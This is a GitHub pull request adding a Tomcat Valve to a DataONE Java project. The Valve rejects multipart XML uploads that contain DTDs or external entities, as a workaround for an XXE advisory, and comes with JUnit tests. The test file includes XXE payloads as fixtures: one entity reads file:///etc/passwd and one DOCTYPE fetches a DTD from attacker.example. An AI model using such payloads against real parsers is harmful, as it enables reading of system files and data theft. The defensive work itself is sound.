-
Notifications
You must be signed in to change notification settings - Fork 1
Adding Valve workaround for GHSA-95v2-fvxr-qg83
#12
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
iannesbitt
wants to merge
11
commits into
main
Choose a base branch
from
advisory-patch-2026-07-01
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
11 commits
Select commit
Hold shift + click to select a range
57cd920
adding `Valve` workaround for GHSA-95v2-fvxr-qg83 with implementation…
iannesbitt 896e359
correcting filename
iannesbitt c88caa3
adding license statement
iannesbitt 347f2d7
addressing suggestion not to return a magic string but instead return…
iannesbitt 705c789
adding logging
iannesbitt f7c7825
test: add focused TemporaryMitigationValve regression coverage
Copilot d0d106c
Implementing docstring suggestion for explicit code references
iannesbitt d7f6b69
changing security module to exclude external DTD declarations and ent…
iannesbitt f1ab1eb
correcting imports
iannesbitt 267965e
correcting class name in docstring
iannesbitt 63bf0c6
avoiding case sensitivity issue
iannesbitt File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
191 changes: 191 additions & 0 deletions
191
src/main/java/org/dataone/security/XmlSecurityValidationValve.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,191 @@ | ||
| /** | ||
| * This work was created by participants in the DataONE project, and is | ||
| * jointly copyrighted by participating institutions in DataONE. For | ||
| * more information on DataONE, see our web site at http://dataone.org. | ||
| * | ||
| * Copyright 2026 | ||
| * | ||
| * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| * you may not use this file except in compliance with the License. | ||
| * You may obtain a copy of the License at | ||
| * | ||
| * http://www.apache.org/licenses/LICENSE-2.0 | ||
| * | ||
| * Unless required by applicable law or agreed to in writing, software | ||
| * distributed under the License is distributed on an "AS IS" BASIS, | ||
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| * See the License for the specific language governing permissions and | ||
| * limitations under the License. | ||
| * | ||
| * $Id$ | ||
| */ | ||
|
|
||
| package org.dataone.security; | ||
|
|
||
| import org.apache.catalina.connector.Request; | ||
| import org.apache.catalina.connector.Response; | ||
| import org.apache.catalina.valves.ValveBase; | ||
| import org.apache.coyote.InputBuffer; | ||
| import org.apache.tomcat.util.buf.ByteChunk; | ||
| import org.apache.tomcat.util.http.fileupload.FileItem; | ||
| import org.apache.tomcat.util.http.fileupload.disk.DiskFileItemFactory; | ||
| import org.apache.tomcat.util.http.fileupload.servlet.ServletFileUpload; | ||
| import org.apache.tomcat.util.http.fileupload.servlet.ServletRequestContext; | ||
|
|
||
| import jakarta.servlet.ServletException; | ||
| import jakarta.servlet.http.HttpServletResponse; | ||
| import javax.xml.parsers.SAXParser; | ||
| import javax.xml.parsers.SAXParserFactory; | ||
| import org.xml.sax.InputSource; | ||
| import org.xml.sax.XMLReader; | ||
| import org.xml.sax.ext.DefaultHandler2; | ||
|
|
||
| import java.io.ByteArrayInputStream; | ||
| import java.io.ByteArrayOutputStream; | ||
| import java.io.IOException; | ||
| import java.io.InputStream; | ||
| import java.util.List; | ||
|
|
||
| /** | ||
| * Temporary mitigation Valve to reject multipart XML parts that declare DTDs/entities (XXE defense). | ||
| * Added 2026-07-10. | ||
| * Enable via the {@code <Valve>} element under {@code <Host ...>} in server.xml, e.g.: | ||
| * {@code <Valve className="org.dataone.security.XmlSecurityValidationValve" />} | ||
| */ | ||
| public class XmlSecurityValidationValve extends ValveBase { | ||
|
|
||
| @Override | ||
| public void invoke(Request request, Response response) throws IOException, ServletException { | ||
| String contentType = request.getContentType(); | ||
|
|
||
| // Only inspect if it's a multipart request | ||
| if (contentType != null && contentType.toLowerCase().startsWith("multipart/form-data")) { | ||
| try { | ||
| // 1. Buffer the raw input stream | ||
| InputStream rawInputStream = request.getInputStream(); | ||
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); | ||
| byte[] buffer = new byte[1024]; | ||
| int len; | ||
| while ((len = rawInputStream.read(buffer)) > -1) { | ||
| baos.write(buffer, 0, len); | ||
| } | ||
| byte[] requestBytes = baos.toByteArray(); | ||
|
|
||
| // 2. Parse the multipart data using Tomcat's built-in FileUpload utilities | ||
| ServletRequestContext requestContext = new ServletRequestContext(request) { | ||
| @Override | ||
| public InputStream getInputStream() { | ||
| return new ByteArrayInputStream(requestBytes); | ||
| } | ||
| }; | ||
|
|
||
| DiskFileItemFactory factory = new DiskFileItemFactory(); | ||
| ServletFileUpload upload = new ServletFileUpload(factory); | ||
| List<FileItem> items = upload.parseRequest(requestContext); | ||
|
|
||
| for (FileItem item : items) { | ||
| // Check if the part is an XML content type or looks like XML | ||
| String partContentType = item.getContentType(); | ||
| if (isXmlType(partContentType, item.getName())) { | ||
|
|
||
| // 3. Inspect for DTD / External Entities | ||
| if (containsForbiddenXmlStructures(item.getInputStream())) { | ||
| response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Malicious XML content detected."); | ||
| return; // Halt processing immediately | ||
| } | ||
| } | ||
| } | ||
|
|
||
| // 4. Re-inject the buffered bytes back into Tomcat's pipeline for downstream processing | ||
| request.getCoyoteRequest().setInputBuffer(new InputBuffer() { | ||
| private final ByteArrayInputStream bais = new ByteArrayInputStream(requestBytes); | ||
|
|
||
| @Override | ||
| public int doRead(ByteChunk chunk) throws IOException { | ||
| byte[] buf = new byte[8192]; | ||
| int read = bais.read(buf); | ||
| if (read > 0) { | ||
| chunk.setBytes(buf, 0, read); | ||
| } | ||
| return read; | ||
| } | ||
| }); | ||
|
|
||
| } catch (Exception e) { | ||
| // Handle parsing errors or malicious attempts gracefully | ||
| response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid request payload."); | ||
| return; | ||
| } | ||
| } | ||
|
|
||
| // If safe or not multipart, pass to the next valve in the chain | ||
| getNext().invoke(request, response); | ||
| } | ||
|
|
||
| private boolean isXmlType(String contentType, String fileName) { | ||
| if (contentType != null) { | ||
| String ct = contentType.toLowerCase(); | ||
| if (ct.contains("text/xml") || ct.contains("application/xml")) { | ||
| return true; | ||
| } | ||
| } | ||
| return fileName != null && fileName.toLowerCase().endsWith(".xml"); | ||
| } | ||
|
Copilot marked this conversation as resolved.
|
||
|
|
||
| private boolean containsForbiddenXmlStructures(InputStream xmlStream) { | ||
| try { | ||
| SAXParserFactory spf = SAXParserFactory.newInstance(); | ||
| spf.setNamespaceAware(true); | ||
|
|
||
| // 1. DO NOT disallow DOCTYPE completely. | ||
| spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); | ||
|
|
||
| // 2. Enable external general entities & parameter entities processing | ||
| // so our custom resolver can catch them if they are present. | ||
| spf.setFeature("http://xml.org/sax/features/external-general-entities", true); | ||
| spf.setFeature("http://xml.org/sax/features/external-parameter-entities", true); | ||
| spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); | ||
|
|
||
|
iannesbitt marked this conversation as resolved.
|
||
| SAXParser saxParser = spf.newSAXParser(); | ||
| XMLReader xmlReader = saxParser.getXMLReader(); | ||
|
|
||
| // 3. Create a strict interceptor handler | ||
| DefaultHandler2 strictSecurityHandler = new DefaultHandler2() { | ||
|
|
||
| // Catch External DTDs and External General Entities | ||
| @Override | ||
| public InputSource resolveEntity(String name, String publicId, String baseURI, String systemId) throws org.xml.sax.SAXException { | ||
| if (systemId != null || publicId != null) { | ||
| throw new org.xml.sax.SAXException("Malicious XML: External entity or DTD resolution blocked: " + systemId); | ||
| } | ||
| return null; | ||
| } | ||
|
|
||
| // Catch External Parameter Entities inside the DOCTYPE declaration | ||
| @Override | ||
| public InputSource getExternalSubset(String name, String baseURI) throws org.xml.sax.SAXException { | ||
| throw new org.xml.sax.SAXException("Malicious XML: External DTD subset blocked."); | ||
| } | ||
|
|
||
| // Catch Entity Declarations (like SYSTEM "file:///") before they can even be resolved | ||
| @Override | ||
| public void externalEntityDecl(String name, String publicId, String systemId) throws org.xml.sax.SAXException { | ||
| throw new org.xml.sax.SAXException("Malicious XML: External entity declaration detected."); | ||
| } | ||
| }; | ||
|
|
||
| // Register the handler for both resolution and advanced lexical intercepting | ||
| xmlReader.setEntityResolver(strictSecurityHandler); | ||
| xmlReader.setProperty("http://xml.org/sax/properties/lexical-handler", strictSecurityHandler); | ||
|
|
||
| // Parse the stream to trigger the interceptor if anything malicious is declared | ||
| xmlReader.parse(new InputSource(xmlStream)); | ||
|
|
||
| return false; // Safe! No external definitions or resolutions were triggered. | ||
| } catch (Exception e) { | ||
| // Exception thrown by our security handler means we intercepted an attack vector | ||
| return true; | ||
| } | ||
| } | ||
|
|
||
| } | ||
109 changes: 109 additions & 0 deletions
109
src/test/java/org/dataone/security/XmlSecurityValidationValveTest.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,109 @@ | ||
| /** | ||
| * This work was created by participants in the DataONE project, and is | ||
| * jointly copyrighted by participating institutions in DataONE. For | ||
| * more information on DataONE, see our web site at http://dataone.org. | ||
| * | ||
| * Copyright 2026 | ||
| * | ||
| * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| * you may not use this file except in compliance with the License. | ||
| * You may obtain a copy of the License at | ||
| * | ||
| * http://www.apache.org/licenses/LICENSE-2.0 | ||
| * | ||
| * Unless required by applicable law or agreed to in writing, software | ||
| * distributed under the License is distributed on an "AS IS" BASIS, | ||
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| * See the License for the specific language governing permissions and | ||
| * limitations under the License. | ||
| * | ||
| * $Id$ | ||
| */ | ||
|
|
||
| package org.dataone.security; | ||
|
|
||
| import static org.junit.Assert.assertFalse; | ||
| import static org.junit.Assert.assertTrue; | ||
|
|
||
| import java.io.ByteArrayInputStream; | ||
| import java.io.InputStream; | ||
| import java.lang.reflect.InvocationTargetException; | ||
| import java.lang.reflect.Method; | ||
| import java.nio.charset.StandardCharsets; | ||
|
|
||
| import org.junit.Test; | ||
|
|
||
| public class XmlSecurityValidationValveTest { | ||
|
|
||
| private final XmlSecurityValidationValve valve = new XmlSecurityValidationValve(); | ||
|
|
||
| @Test | ||
| public void identifiesXmlFromContentType() { | ||
| assertTrue(isXmlType("application/xml", null)); | ||
| assertTrue(isXmlType("text/xml; charset=UTF-8", null)); | ||
| } | ||
|
|
||
| @Test | ||
| public void identifiesXmlFromFilename() { | ||
| assertTrue(isXmlType("application/octet-stream", "payload.xml")); | ||
| } | ||
|
|
||
| @Test | ||
| public void doesNotIdentifyNonXmlPayload() { | ||
| assertFalse(isXmlType("application/json", "payload.txt")); | ||
| } | ||
|
|
||
| @Test | ||
| public void rejectsXmlWithExternalEntityDeclaration() { | ||
| String maliciousXml = | ||
| "<?xml version=\"1.0\"?>" | ||
| + "<!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" | ||
| + "<root>&xxe;</root>"; | ||
|
|
||
| assertTrue(containsForbiddenXmlStructures(streamOf(maliciousXml))); | ||
| } | ||
|
|
||
| @Test | ||
| public void rejectsXmlWithExternalDtdDeclaration() { | ||
| String maliciousXml = | ||
| "<?xml version=\"1.0\"?>" | ||
| + "<!DOCTYPE root SYSTEM \"http://attacker.example/malicious.dtd\">" | ||
| + "<root>ok</root>"; | ||
|
|
||
| assertTrue(containsForbiddenXmlStructures(streamOf(maliciousXml))); | ||
| } | ||
|
|
||
| @Test | ||
| public void allowsXmlWithoutDtdOrEntityDeclarations() { | ||
| String safeXml = "<?xml version=\"1.0\"?><root><value>ok</value></root>"; | ||
| assertFalse(containsForbiddenXmlStructures(streamOf(safeXml))); | ||
| } | ||
|
|
||
| private boolean isXmlType(String contentType, String fileName) { | ||
| try { | ||
| Method method = XmlSecurityValidationValve.class.getDeclaredMethod("isXmlType", String.class, String.class); | ||
| method.setAccessible(true); | ||
| return (Boolean) method.invoke(valve, contentType, fileName); | ||
| } catch (NoSuchMethodException | IllegalAccessException e) { | ||
| throw new AssertionError("Failed to access XmlSecurityValidationValve.isXmlType", e); | ||
| } catch (InvocationTargetException e) { | ||
| throw new AssertionError("Unexpected exception from XmlSecurityValidationValve.isXmlType", e); | ||
| } | ||
| } | ||
|
|
||
| private boolean containsForbiddenXmlStructures(InputStream xmlStream) { | ||
| try { | ||
| Method method = XmlSecurityValidationValve.class.getDeclaredMethod("containsForbiddenXmlStructures", InputStream.class); | ||
| method.setAccessible(true); | ||
| return (Boolean) method.invoke(valve, xmlStream); | ||
| } catch (NoSuchMethodException | IllegalAccessException e) { | ||
| throw new AssertionError("Failed to access XmlSecurityValidationValve.containsForbiddenXmlStructures", e); | ||
| } catch (InvocationTargetException e) { | ||
| throw new AssertionError("Unexpected exception from XmlSecurityValidationValve.containsForbiddenXmlStructures", e); | ||
| } | ||
| } | ||
|
|
||
| private InputStream streamOf(String value) { | ||
| return new ByteArrayInputStream(value.getBytes(StandardCharsets.UTF_8)); | ||
| } | ||
| } |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.